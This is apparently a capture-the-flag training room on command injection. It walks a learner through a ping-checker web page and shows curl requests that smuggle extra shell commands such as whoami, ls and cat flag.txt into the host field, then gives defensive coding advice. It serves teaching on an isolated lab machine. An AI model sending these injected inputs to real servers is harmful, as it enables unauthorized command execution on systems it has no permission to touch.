Command injection
A page that checks whether a server is up with ping. But what happens when you type more than an address?
Some applications take what the user types and put it inside a shell command. If they do not check it, the user can add commands of their own: this is command injection, one of the most dangerous flaws because it hands over control of the server itself.
0 of 5 · 0 of 65 points
Target machine
Ubuntu 24.04 + NetCheck (command injection) · Runs for 60 minutes, and you can extend it
Sign in to start your own machine.
Task 1: Try the page
Press Start machine. Within a minute your own IP address appears. Run every command in this room from the AttackBox (the "Open AttackBox" button) or from your computer over the VPN. Replace IP with your machine's address.
This is an isolated training machine that is yours alone. Using these techniques on systems you have no written permission to test is a crime.
NetCheck
Open http://IP/ (in your browser over the VPN, or with curl from the AttackBox) and type an address, such as 127.0.0.1:
curl "http://IP/?host=127.0.0.1"
The page shows the output of ping. So the app runs something like ping -c 1 <what you typed> on the server.
1.1I opened NetCheck and checked an address
Task 2: A second command
In the shell, ; ends a command and starts the next one. So if you type 127.0.0.1; whoami, the server runs ping and then whoami:
curl -G "http://IP/" --data-urlencode "host=127.0.0.1; whoami"
--data-urlencode encodes the space and the ; so they arrive intact. Try id and uname -a too.
2.1Which character ends one shell command and starts another?
102.2Which user does the app run as?
15Task 3: The flag
Find out where you are and what is there:
curl -G "http://IP/" --data-urlencode "host=127.0.0.1; pwd; ls"
curl -G "http://IP/" --data-urlencode "host=127.0.0.1; cat flag.txt"
The lesson: never put user input inside a shell command. Run the program directly with a list of arguments (no shell=True), validate the input (an IP address and nothing else), and run the app as an unprivileged user, as here: webapp, not root.
3.1Which folder does the app run in?
103.2Read flag.txt from the app's folder
30